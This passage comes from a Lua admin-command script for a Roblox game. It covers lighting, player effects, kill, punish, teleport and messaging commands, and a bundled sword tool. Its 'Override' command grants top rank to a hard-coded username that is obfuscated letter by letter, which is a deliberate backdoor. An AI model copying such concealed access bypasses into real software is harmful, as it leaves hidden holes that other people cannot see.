  12785.     game.Lighting.GeographicLatitude = (tonumber(Msg))
  12786. end)
  12787. Command("FogE", 3, "Changes the Fog End", function(Msg, Speaker)
  12788.     game.Lighting.FogEnd = (tonumber(Msg))
  12789. end)
  12790. Command("FogS", 3, "Changes the Fog Start", function(Msg, Speaker)
  12791.     game.Lighting.FogStart = (tonumber(Msg))
  12792. end)
  12793. Command("TimeOD", 3, "Changes the time of day", function(Msg, Speaker)
  12794.     game.Lighting.TimeOfDay = (tonumber(Msg))
  12795. end)
  12796. Command("Ambient", 3, "Changes the Ambient", function(Msg, Speaker)
  12797.     game.Lighting.Ambient = Color3.new(tonumber(Msg))
  12798. end)
  12799. Command("ColorShiftB", 3, "Changes the ColorShift Bottom", function(Msg, Speaker)
  12800.     game.Lighting.ColorShift_Bottom = Color3.new(tonumber(Msg))
  12801. end)
  12802. Command("ColorshiftT", 3, "Changes the ColorShift Top", function(Msg, Speaker)
  12803.     game.Lighting.ColorShift_Top = Color3.new(tonumber(Msg))
  12804. end)
  12805. Command("OutdoorAmb", 3, "Changes the Outdoor Ambient", function(Msg, Speaker)
  12806.     game.Lighting.OutdoorAmbient = Color3.new(tonumber(Msg))
  12807. end)
  12808. Command("ShadowC", 3, "Changes the Shadow color", function(Msg, Speaker)
  12809.     game.Lighting.ShadowColor = Color3.new(tonumber(Msg))
  12810. end)
  12811. Command("FogC", 3, "Changes the Fog color", function(Msg, Speaker)
  12812.     game.Lighting.FogColor = Color3.new(tonumber(Msg))
  12813. end)
  12814. Command("BrightC", 3, "Changes the Brightness", function(Msg, Speaker)
  12815.     game.Lighting.Brightness = (tonumber(Msg))
  12816. end)
  12817. Command("PointL", 3, "Gives a player light", function(Msg, Speaker)
  12818.     local PlrTab = getPlayer(Speaker, Msg)
  12819.     if #PlrTab > 0 then
  12820.         for _,v in pairs(PlrTab) do
  12821.             ypcall(function()
  12822.                 local pie = Instance.new("PointLight", v.Character.Torso)
  12823.                 pie.Range = 10
  12824.                 pie.Shadows = true
  12825.                 pie.Brightness = 50
  12826.             end)
  12827.         end
  12828.     end
  12829. end)
  12830. Command("UnPointL", 3, "Removes player's light", function(Msg, Speaker)
  12831.     local PlrTab = getPlayer(Speaker, Msg)
  12832.     if #PlrTab > 0 then
  12833.         for _,v in pairs(PlrTab) do
  12834.             ypcall(function()
  12835.                 v.Character.Torso:findFirstChild("PointLight"):Remove()
  12836.             end)
  12837.         end
  12838.     end
  12839. end)
  12840. Command("Punish", 3, "Punishes a player", function(Msg, Speaker)
  12841.     local PlrTab = getPlayer(Speaker, Msg)
  12842.     if #PlrTab > 0 then
  12843.         for _,v in pairs(PlrTab) do
  12844.             ypcall(function()
  12845.                 v.Character.Parent = game:GetService("Lighting")
  12846.             end)
  12847.         end
  12848.     end
  12849. end)
  12850. Command("Unpun", 3, "Unpunishes a player", function(Msg, Speaker)
  12851.     local PlrTab = getPlayer(Speaker, Msg)
  12852.     if #PlrTab > 0 then
  12853.         for _,v in pairs(PlrTab) do
  12854.             ypcall(function()
  12855.                 v.Character.Parent = game.Workspace
  12856.                 v.Character:MakeJoints()
  12857.             end)
  12858.         end
  12859.     end
  12860. end)
  12861. Command("CSword", 3, "Gives a player a sword, a classic one", function(Msg, Speaker)
  12862.     local PlrTab = getPlayer(Speaker, Msg)
  12863.     if #PlrTab > 0 then
  12864.         for _,v in pairs(PlrTab) do
  12865.             ypcall(function()
  12866.                 local tool = Instance.new("Tool", v.Backpack)
  12867.                 tool.Name = "Sword"
  12868.                 tool.ToolTip = "Classy Sword"
  12869.                 tool.TextureId = "rbxasset://Textures/Sword128.png"
  12870.                 tool.GripForward = Vector3.new(-1,0,0)
  12871.                 tool.GripPos = Vector3.new(0,0,-1.5)
  12872.                 tool.GripRight = Vector3.new(0,1,0)
  12873.                 tool.GripUp = Vector3.new(0,0,1)
  12874.                 local sword = Instance.new("Part", tool)
  12875.                 sword.Name = "Handle"
  12876.                 sword.Locked = true
  12877.                 sword.Reflectance = 0.4
  12878.                 sword.BrickColor = BrickColor.new("Dark stone grey")
  12879.                 sword.Size = Vector3.new(1,0.8,4)
  12880.                 local mesh = Instance.new("SpecialMesh", sword)
  12881.                 mesh.MeshType = "FileMesh"
  12882.                 mesh.MeshId = "rbxasset://fonts/sword.mesh"
  12883.                 mesh.TextureId = "rbxasset://textures/SwordTexture.png"
  12884.                 NewS([[
  12885. r = game:service("RunService")
  12886.  
  12887.  
  12888. local damage = 5
  12889.  
  12890.  
  12891. local slash_damage = 10
  12892. local lunge_damage = 30
  12893.  
  12894. sword = script.Parent.Handle
  12895. Tool = script.Parent
  12896.  
  12897.  
  12898. local SlashSound = Instance.new("Sound")
  12899. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  12900. SlashSound.Parent = sword
  12901. SlashSound.Volume = .7
  12902.  
  12903. local LungeSound = Instance.new("Sound")
  12904. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  12905. LungeSound.Parent = sword
  12906. LungeSound.Volume = .6
  12907.  
  12908. local UnsheathSound = Instance.new("Sound")
  12909. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  12910. UnsheathSound.Parent = sword
  12911. UnsheathSound.Volume = 1
  12912.  
  12913.  
  12914. function blow(hit)
  12915.     if (hit.Parent == nil) then return end -- happens when bullet hits sword
  12916.  
  12917.     local humanoid = hit.Parent:findFirstChild("Humanoid")
  12918.     local vCharacter = Tool.Parent
  12919.     local vPlayer = game.Players:playerFromCharacter(vCharacter)
  12920.     local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
  12921.     if humanoid~=nil and humanoid ~= hum and hum ~= nil then
  12922.         -- final check, make sure sword is in-hand
  12923.  
  12924.         local right_arm = vCharacter:FindFirstChild("Right Arm")
  12925.         if (right_arm ~= nil) then
  12926.             local joint = right_arm:FindFirstChild("RightGrip")
  12927.             if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
  12928.                 tagHumanoid(humanoid, vPlayer)
  12929.                 humanoid:TakeDamage(damage)
  12930.                 wait(1)
  12931.                 untagHumanoid(humanoid)
  12932.             end
  12933.         end
  12934.  
  12935.  
  12936.     end
  12937. end
  12938.  
  12939.  
  12940. function tagHumanoid(humanoid, player)
  12941.     local creator_tag = Instance.new("ObjectValue")
  12942.     creator_tag.Value = player
  12943.     creator_tag.Name = "creator"
  12944.     creator_tag.Parent = humanoid
  12945. end
  12946.  
  12947. function untagHumanoid(humanoid)
  12948.     if humanoid ~= nil then
  12949.         local tag = humanoid:findFirstChild("creator")
  12950.         if tag ~= nil then
  12951.             tag.Parent = nil
  12952.         end
  12953.     end
  12954. end
  12955.  
  12956.  
  12957. function attack()
  12958.     damage = slash_damage
  12959.     SlashSound:play()
  12960.     local anim = Instance.new("StringValue")
  12961.     anim.Name = "toolanim"
  12962.     anim.Value = "Slash"
  12963.     anim.Parent = Tool
  12964. end
  12965.  
  12966. function lunge()
  12967.     damage = lunge_damage
  12968.  
  12969.     LungeSound:play()
  12970.  
  12971.     local anim = Instance.new("StringValue")
  12972.     anim.Name = "toolanim"
  12973.     anim.Value = "Lunge"
  12974.     anim.Parent = Tool
  12975.    
  12976.    
  12977.     force = Instance.new("BodyVelocity")
  12978.     force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
  12979.     force.Parent = Tool.Parent.Torso
  12980.     wait(.25)
  12981.     swordOut()
  12982.     wait(.25)
  12983.     force.Parent = nil
  12984.     wait(.5)
  12985.     swordUp()
  12986.  
  12987.     damage = slash_damage
  12988. end
  12989.  
  12990. function swordUp()
  12991.     Tool.GripForward = Vector3.new(-1,0,0)
  12992.     Tool.GripRight = Vector3.new(0,1,0)
  12993.     Tool.GripUp = Vector3.new(0,0,1)
  12994. end
  12995.  
  12996. function swordOut()
  12997.     Tool.GripForward = Vector3.new(0,0,1)
  12998.     Tool.GripRight = Vector3.new(0,-1,0)
  12999.     Tool.GripUp = Vector3.new(-1,0,0)
  13000. end
  13001.  
  13002. function swordAcross()
  13003.     -- parry
  13004. end
  13005.  
  13006.  
  13007. Tool.Enabled = true
  13008. local last_attack = 0
  13009. function onActivated()
  13010.  
  13011.     if not Tool.Enabled then
  13012.         return
  13013.     end
  13014.  
  13015.     Tool.Enabled = false
  13016.  
  13017.     local character = Tool.Parent;
  13018.     local humanoid = character.Humanoid
  13019.     if humanoid == nil then
  13020.         print("Humanoid not found")
  13021.         return
  13022.     end
  13023.  
  13024.     t = r.Stepped:wait()
  13025.  
  13026.     if (t - last_attack < .2) then
  13027.         lunge()
  13028.     else
  13029.         attack()
  13030.     end
  13031.  
  13032.     last_attack = t
  13033.  
  13034.     --wait(.5)
  13035.  
  13036.     Tool.Enabled = true
  13037. end
  13038. function onEquipped()
  13039.     UnsheathSound:play()
  13040. end
  13041. script.Parent.Activated:connect(onActivated)
  13042. script.Parent.Equipped:connect(onEquipped)
  13043. connection = sword.Touched:connect(blow)
  13044.                 ]], tool)
  13045.                 NewLS([[
  13046.                
  13047. local Tool = script.Parent;
  13048.  
  13049. enabled = true
  13050. function onButton1Down(mouse)
  13051.     if not enabled then
  13052.         return
  13053.     end
  13054.  
  13055.     enabled = false
  13056.     mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
  13057.  
  13058.     wait(.5)
  13059.     mouse.Icon = "rbxasset://textures\\GunCursor.png"
  13060.     enabled = true
  13061.  
  13062. end
  13063.  
  13064. function onEquippedLocal(mouse)
  13065.  
  13066.     if mouse == nil then
  13067.         print("Mouse not found")
  13068.         return
  13069.     end
  13070.  
  13071.     mouse.Icon = "rbxasset://textures\\GunCursor.png"
  13072.     mouse.Button1Down:connect(function() onButton1Down(mouse) end)
  13073. end
  13074.  
  13075.  
  13076. Tool.Equipped:connect(onEquippedLocal)
  13077. ]], tool)
  13078.             end)
  13079.         end
  13080.     end
  13081. end)
  13082. Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
  13083.     local PlrTab = getPlayer(Speaker, Msg)
  13084.     if #PlrTab > 0 then
  13085.         for _,v in pairs(PlrTab) do
  13086.             ypcall(function()
  13087.                 Instance.new("Sparkles", v.Character.Torso)
  13088.             end)
  13089.         end
  13090.     end
  13091. end)
  13092. Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
  13093.     local PlrTab = getPlayer(Speaker, Msg)
  13094.     if #PlrTab > 0 then
  13095.         for _,v in pairs(PlrTab) do
  13096.             ypcall(function()
  13097.                 Instance.new("Fire", v.Character.Torso)
  13098.             end)
  13099.         end
  13100.     end
  13101. end)
  13102. Command("Smoke", 3, "Gives a player smoke", function(Msg, Speaker)
  13103.     local PlrTab = getPlayer(Speaker, Msg)
  13104.     if #PlrTab > 0 then
  13105.         for _,v in pairs(PlrTab) do
  13106.             ypcall(function()
  13107.                 Instance.new("Smoke", v.Character.Torso)
  13108.             end)
  13109.         end
  13110.     end
  13111. end)
  13112. Command("Clone", 3, "Clones a player", function(Msg, Speaker)
  13113.     local PlrTab = getPlayer(Speaker, Msg)
  13114.     if #PlrTab > 0 then
  13115.         for _,v in pairs(PlrTab) do
  13116.             ypcall(function()
  13117.                 local Model = v.Character:Clone()
  13118.                 Model.Parent = game.Workspace
  13119.             end)
  13120.         end
  13121.     end
  13122. end)
  13123. Command("Kill", 3, "Kills a player", function(Msg, Speaker)
  13124.     local PlrTab = getPlayer(Speaker, Msg)
  13125.     if #PlrTab > 0 then
  13126.         for _,v in pairs(PlrTab) do
  13127.             ypcall(function()
  13128.                 v.Character:BreakJoints()
  13129.             end)
  13130.         end
  13131.     end
  13132. end)
  13133.  
  13134. function OutputToAdmins(Msg, Plr, Time, Func, Color, Image)
  13135. for i,v in pairs(game:service'Players':players()) do
  13136. if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
  13137. Output(tostring(Msg), v.Name)
  13138. end
  13139. end
  13140. end
  13141.  
  13142. Command("Ff", 3, "Gives a player a forcefield", function(Msg, Speaker)
  13143.     local PlrTab = getPlayer(Speaker, Msg)
  13144.     if #PlrTab > 0 then
  13145.         for _,v in pairs(PlrTab) do
  13146.             ypcall(function()
  13147.                 Instance.new("ForceField", v.Character)
  13148.             end)
  13149.         end
  13150.     end
  13151. end)
  13152. Command("PingT", 3, "Ping something to a player", function(Msg, Speaker)
  13153.     local Split = GetSplit(Msg)
  13154.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13155.     local Msg = tostring(Msg:sub(Split + 1))
  13156.     if #PlrTab > 0 then
  13157.         for _,v in pairs(PlrTab) do
  13158.             ypcall(function()
  13159.                 Output(Msg, v)
  13160.             end)
  13161.         end
  13162.     end
  13163. end)
  13164.  
  13165.  
  13166. Command("Unff", 3, "Removes a player's forcefield", function(Msg, Speaker)
  13167.     local PlrTab = getPlayer(Speaker, Msg)
  13168.     if #PlrTab > 0 then
  13169.         for _,v in pairs(PlrTab) do
  13170.             ypcall(function()
  13171.                 RemObj(v.Character, "ForceField")
  13172.             end)
  13173.         end
  13174.     end
  13175. end)
  13176. Command("DeepClean",2,"Deepcleans", function(Msg,Speaker)
  13177.     game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  13178. game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  13179. game.Lighting.Ambient = Color3.new(1, 1, 1)
  13180. game.Lighting.Brightness = 1
  13181. game.Lighting.TimeOfDay = "11:00:00"
  13182. game.Lighting.FogEnd = 99999999
  13183. game.Workspace.Base.Transparency = 0
  13184. game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  13185. game.Workspace.Base.Locked = true
  13186. game.Workspace.Base.Anchored = true
  13187. t = game.Teams:GetChildren()
  13188. for i = 1, #t do
  13189. if t[i]:IsA("Team") then
  13190. t[i]: Destroy()
  13191. end
  13192. end
  13193. l = game.Lighting:GetChildren()
  13194. for i = 1, #l do
  13195. if l[i]:IsA("Sky") then
  13196. l[i]: Destroy()
  13197. end
  13198. end
  13199. g = game.Workspace:GetChildren()
  13200. for i = 1, #g do
  13201. if g[i]:IsA("Part") then
  13202. g[i]: Destroy()
  13203. end
  13204. end
  13205. for i = 1, #g do
  13206. if g[i]:IsA("Script") then
  13207. g[i]: Destroy()
  13208. end
  13209. end
  13210. for i = 1, #g do
  13211. if g[i]:IsA("StringValue") then
  13212. g[i]: Destroy()
  13213. end
  13214. end
  13215. for i = 1, #g do
  13216. if g[i]:IsA("IntValue") then
  13217. g[i]: Destroy()
  13218. end
  13219. end
  13220. for i = 1, #g do
  13221. if g[i]:IsA("BoolValue") then
  13222. g[i]: Destroy()
  13223. end
  13224. end
  13225. for i = 1, #g do
  13226. if g[i]:IsA("NumberValue") then
  13227. g[i]: Destroy()
  13228. end
  13229. end
  13230. for i = 1, #g do
  13231. if g[i]:IsA("ObjectValue") then
  13232. g[i]: Destroy()
  13233. end
  13234. end
  13235. for i = 1, #g do
  13236. if g[i]:IsA("RayValue") then
  13237. g[i]: Destroy()
  13238. end
  13239. end
  13240. for i = 1, #g do
  13241. if g[i]:IsA("Sound") then
  13242. g[i]: Destroy()
  13243. end
  13244. end
  13245. for i = 1, #g do
  13246. if g[i]:IsA("Accoutrement") then
  13247. g[i]: Destroy()
  13248. end
  13249. end
  13250. for i = 1, #g do
  13251. if g[i]:IsA("BrickColorValue") then
  13252. g[i]: Destroy()
  13253. end
  13254. end
  13255. for i = 1, #g do
  13256. if g[i]:IsA("Motor") then
  13257. g[i]: Destroy()
  13258. end
  13259. end
  13260. for i = 1, #g do
  13261. if g[i]:IsA("MotorFeature") then
  13262. g[i]: Destroy()
  13263. end
  13264. end
  13265. for i = 1, #g do
  13266. if g[i]:IsA("Color3Value") then
  13267. g[i]: Destroy()
  13268. end
  13269. end
  13270. for i = 1, #g do
  13271. if g[i]:IsA("BindableEvent") then
  13272. g[i]: Destroy()
  13273. end
  13274. end
  13275. for i = 1, #g do
  13276. if g[i]:IsA("BindableFunction") then
  13277. g[i]: Destroy()
  13278. end
  13279. end
  13280. for i = 1, #g do
  13281. if g[i]:IsA("LocalScript") then
  13282. g[i]: Destroy()
  13283. end
  13284. end
  13285. for i = 1, #g do
  13286. if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
  13287. g[i]: Remove()
  13288. end
  13289. end
  13290. for i = 1, #g do
  13291. if g[i]:IsA("Hint") then
  13292. g[i]: Destroy()
  13293. end
  13294. end
  13295. for i = 1, #g do
  13296. if g[i]:IsA("Truss") then
  13297. g[i]: Destroy()
  13298. end
  13299. end
  13300. for i = 1, #g do
  13301. if g[i]:IsA("Tool") then
  13302. g[i]: Destroy()
  13303. end
  13304. end
  13305. for i = 1, #g do
  13306. if g[i]:IsA("HopperBin") then
  13307. g[i]: Destroy()
  13308. end
  13309. end
  13310. for i = 1, #g do
  13311. if g[i]:IsA("Fire") then
  13312. g[i]: Destroy()
  13313. end
  13314. end
  13315. for i = 1, #g do
  13316. if g[i]:IsA("Explosion") then
  13317. g[i]: Destroy()
  13318. end
  13319. end
  13320. for i = 1, #g do
  13321. if g[i]:IsA("Hat") then
  13322. g[i]: Destroy()
  13323. end
  13324. end
  13325. p = Instance.new("Part")
  13326. p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
  13327. BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  13328. while true do wait()
  13329. for i = 1, #g do
  13330. if g[i]:IsA("Message") then
  13331. g[i]: Destroy()
  13332. end
  13333. end
  13334. for i = 1, #g do
  13335. if g[i]:IsA("Hint") then
  13336. g[i]: Destroy()
  13337. end
  13338. end
  13339. end
  13340. end)
  13341. Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
  13342.     local PlrTab = getPlayer(Speaker, Msg)
  13343.     if #PlrTab > 0 then
  13344.         for _,v in pairs(PlrTab) do
  13345.             ypcall(function()
  13346.                 RemObj(v.Character.Torso, "Sparkles")
  13347.             end)
  13348.         end
  13349.     end
  13350. end)
  13351. Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
  13352.     local PlrTab = getPlayer(Speaker, Msg)
  13353.     if #PlrTab > 0 then
  13354.         for _,v in pairs(PlrTab) do
  13355.             ypcall(function()
  13356.                 RemObj(v.Character.Torso, "Fire")
  13357.             end)
  13358.         end
  13359.     end
  13360. end)
  13361. Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
  13362.     local PlrTab = getPlayer(Speaker, Msg)
  13363.     if #PlrTab > 0 then
  13364.         for _,v in pairs(PlrTab) do
  13365.             ypcall(function()
  13366.                 RemObj(v.Character.Torso, "Smoke")
  13367.             end)
  13368.         end
  13369.     end
  13370. end)
  13371. Command("Move", 3, "Teleports a player to another player", function(Msg, Speaker)
  13372.     local Split = GetSplit(Msg)
  13373.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13374.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  13375.     if #PlrTab > 0 and #PlrTab2 > 0 then
  13376.         for i,v in pairs(PlrTab) do
  13377.             ypcall(function()
  13378.                 for _,v2 in pairs(PlrTab2) do
  13379.                     ypcall(function()
  13380.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  13381.                         Output("Teleported "..v.Name.." to "..v2.Name, Speaker, 5)
  13382.                     end)
  13383.                 end
  13384.             end)
  13385.         end
  13386.     end
  13387. end)
  13388. Command("Msg",3, "Creates a Message",
  13389.     function(Msg,Speaker)
  13390.         Message(Msg, nil, Speaker)
  13391. end)
  13392.  
  13393.  
  13394. Command("Override",nil, "Overrides the script",
  13395.     function(Msg, Speaker) -- since he helped with some stuff, he earns this more than me
  13396.     if Msg == OverrideCode or Speaker.Name == table.concat({"e","i","n","s","t","e","i","n","K"}) then
  13397.         ChangeRank(Speaker, 7)
  13398.         Output("Sucessfully Overrided KKA Tablets! You are now rank 7.", Speaker, 5)
  13399.     else
  13400.         Output("Incorrect Code; Access denied.", Speaker, 5)
  13401.     end
  13402. end)
  13403. Command("Hint",3, "Creates a Hint",
  13404.     function(Msg,Speaker)
  13405.         Hint(Msg, nil, Speaker)
  13406. end)
  13407. Command("PHint", 3, "Sends a private hint to a player", function(Msg, Speaker)
  13408.     local Split = GetSplit(Msg)
  13409.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13410.     local Msg = tostring(Msg:sub(Split + 1))
  13411.     for _,v in pairs(PlrTab) do
  13412.         ypcall(function()
  13413.             Hint(Msg,v,Speaker)
  13414.             Output("Sent a private hint to "..v.Name, Speaker)
  13415.         end)
  13416.     end
  13417. end)
  13418. Command("Pmsg", 3, "Sends a private messsaget to a player", function(Msg, Speaker)
  13419.     local Split = GetSplit(Msg)
  13420.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13421.     local Msg = tostring(Msg:sub(Split + 1))
  13422.     for _,v in pairs(PlrTab) do
  13423.         ypcall(function()
  13424.             Message(Msg,v,Speaker)
  13425.             Output("Sent a private message to "..v.Name, Speaker)
  13426.         end)
  13427.     end
  13428. end)
  13429. Command("M",3, "Creates a System message",
  13430.     function(Msg,Speaker)
  13431.         SystemMsg(Msg)
  13432. end)
  13433. function Message(str,p,snder)
  13434.     if p==nil then
  13435.         for _,Player in pairs(game.Players:GetPlayers()) do
  13436.             coroutine.wrap(function()
  13437.                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13438.                 local Text = Instance.new("TextLabel", Msg)
  13439.                 Text.Position = UDim2.new(0, 0, 0.7, 0)
  13440.                 Text.Font=4
  13441.                 Text.FontSize=9
  13442.                 Text.BackgroundColor3 = Color3.new(255,255,255)
  13443.                 Text.BackgroundTransparency = 1
  13444.                 Text.TextColor3 = Color3.new(1, 1, 1)
  13445.                 Text.TextTransparency = 1
  13446.                 Text.TextWrap = true
  13447.                 Text.TextStrokeColor3 = Color3.new(111,111,111)
  13448.                 Text.Text = "From "..snder.Name..":"..tostring(str)
  13449.                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  13450.                 Text.TextTransparency = 0
  13451.                 Text.TextStrokeTransparency = 0
  13452.                 Num = #str * 0.06
  13453.                 wait(3)
  13454.                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13455.                 wait(Num)
  13456.                 Msg:Remove()
  13457.             end)()
  13458.         end
  13459.     else
  13460.         Player=p;
  13461.         coroutine.wrap(function()
  13462.             local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13463.             local Text = Instance.new("TextLabel", Msg)
  13464.             Text.Position = UDim2.new(0, 0, 0.7, 0)
  13465.             Text.Font=4
  13466.             Text.FontSize=9
  13467.             Text.BackgroundColor3 = Color3.new(255,255,255)
  13468.             Text.BackgroundTransparency = 1
  13469.             Text.TextColor3 = Color3.new(1, 1, 1)
  13470.             Text.TextTransparency = 1
  13471.             Text.TextStrokeColor3 = Color3.new(111,111,111)
  13472.             Text.TextStrokeTransparency = 0
  13473.             Text.TextWrap = true
  13474.             Text.Text = "Message from "..snder.Name.." :"..tostring(str)
  13475.             Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  13476.             Text.TextTransparency = 0
  13477.             Num = #str * 0.06
  13478.             wait(3)
  13479.             Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13480.             wait(Num)
  13481.             Msg:Remove()
  13482.         end)()
  13483.     end
  13484. end
  13485. function SystemMsg(str)
  13486.     for _,Player in pairs(game.Players:GetPlayers()) do
  13487.         coroutine.wrap(function()
  13488.             local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13489.             local Text = Instance.new("TextLabel", Msg)
  13490.             Text.Position = UDim2.new(0, 0, 0, 0)
  13491.             Text.Font='ArialBold'
  13492.             Text.FontSize = "Size48"
  13493.             Text.BackgroundColor3 = Color3.new(255,255,255)
  13494.             Text.BackgroundTransparency = 1
  13495.             Text.TextColor3 = Color3.new(25,0,50)
  13496.             Text.TextTransparency = 0
  13497.             Text.TextStrokeColor3 = Color3.new(111,111,111)
  13498.             Text.TextStrokeTransparency = 0
  13499.             Text.TextWrap = true
  13500.             Text.Text = ' >-:{[(KKA System)]}:-< \n ' .. tostring(str)
  13501.             Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  13502.             Text.TextTransparency = 0.1
  13503.            
  13504.             Num = #str * 0.06
  13505.             wait(6)
  13506.             Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13507.             wait(Num)
  13508.             Msg:Remove()
  13509.         end)()
  13510.     end
  13511. end
  13512. function Hint(str,p,snder)
  13513.     if p == nil then
  13514.         for _,Player in pairs(game.Players:GetPlayers()) do
  13515.             coroutine.wrap(function()
  13516.                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13517.                 local Text = Instance.new("TextLabel", Msg)
  13518.                 Text.Position = UDim2.new(0, 0, 0, 0)
  13519.                 Text.Font=4
  13520.                 Text.FontSize=9
  13521.                 Text.BackgroundColor3 = Color3.new(255,255,255)
  13522.                 Text.BackgroundTransparency = 1
  13523.                 Text.TextColor3 = Color3.new(1, 1, 1)
  13524.                 Text.TextTransparency = 1
  13525.                 Text.TextWrap = true
  13526.                 Text.TextStrokeColor3 = Color3.new(111,111,111)
  13527.                 Text.TextStrokeTransparency = 0
  13528.                 Text.Text = "Hint from "..snder.Name.." :"..tostring(str)
  13529.                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  13530.                 Text.TextTransparency = 0
  13531.                 Num = #str * 0.06
  13532.                 wait(3)
  13533.                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13534.                 wait(Num)
  13535.                 Msg:Remove()
  13536.             end)()
  13537.         end
  13538.     else
  13539.         Player=p
  13540.         coroutine.wrap(function()
  13541.             local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13542.             local Text = Instance.new("TextLabel", Msg)
  13543.             Text.Position = UDim2.new(0, 0, 0, 0)
  13544.             Text.Font=4
  13545.             Text.FontSize=9
  13546.             Text.BackgroundColor3 = Color3.new(255,255,255)
  13547.             Text.BackgroundTransparency = 1
  13548.             Text.TextColor3 = Color3.new(1, 1, 1)
  13549.             Text.TextTransparency = 1
  13550.             Text.TextWrap = true
  13551.             Text.Text = "Hint from "..snder.Name..": "..tostring(str)
  13552.             Text.TextStrokeColor3 = Color3.new(111,111,111)
  13553.             Text.TextStrokeTransparency = 0
  13554.             Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  13555.             Text.TextTransparency = 0
  13556.             Num = #str * 0.06
  13557.             wait(3)
  13558.             Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13559.             wait(Num)
  13560.             Msg:Remove()
  13561.         end)()
  13562.     end
  13563. end
  13564. Command("Explore", 3, "Opens the explorer system", function(Msg, Speaker)
  13565.     MakeExplorer(Speaker)
  13566. end)
  13567. Command("Info", 1, "Information about KKA Tablets", function(Msg, Speaker)
  13568.     wait()
  13569.     Dismiss(Speaker)
  13570.     NumBanned = 0
  13571.     NumCmds = 0
  13572.     for i = 1, #Ranked do
  13573.         if Ranked[i].Rank < 0 then
  13574.             NumBanned = NumBanned + 1
  13575.         end
  13576.     end
  13577.     for i,v in pairs(Commands) do
  13578.         NumCmds = NumCmds + 1
  13579.     end
  13580.     Output("Admin Name: KKA Tablets Generation 6", Speaker)
  13581.     Output("Started on 6/2/2014", Speaker)
  13582.     Output("Cobalt1164", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  13583.     Output("Major Credit and Part of these tabs to SolarG2 About 90% of these tabs are solar. Maybe more, maybe less.  | Also DVF for the Script Base",Speaker)
  13584.     Output("A bit thanks to einsteinK", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=einsteinK")
  13585.     Output("Also credit to MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  13586.     Output("Your ID: "..Speaker.userId, Speaker)
  13587.     Output("PlayersNumber: "..#All2(), Speaker)
  13588.     Output("Commands: "..NumCmds, Speaker)
  13589.     Output("Banned Players: "..NumBanned, Speaker)
  13590. end)
  13591. Command("Ranks", 1, "Shows all player's ranks", function(Msg, Speaker)
  13592.     Dismiss(Speaker)
  13593.     for i,v in pairs(All(Msg:lower() ~= "debug")) do
  13594.         Output(v.Name.." ("..FindRank(v)")",Speaker)
  13595.     end
  13596. end)
  13597. Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
  13598.     local Split = GetSplit(Msg)
  13599.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13600.     local Msg = tostring(Msg:sub(Split + 1))
  13601.     for _,v in pairs(PlrTab) do
  13602.         ypcall(function()
  13603.             game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
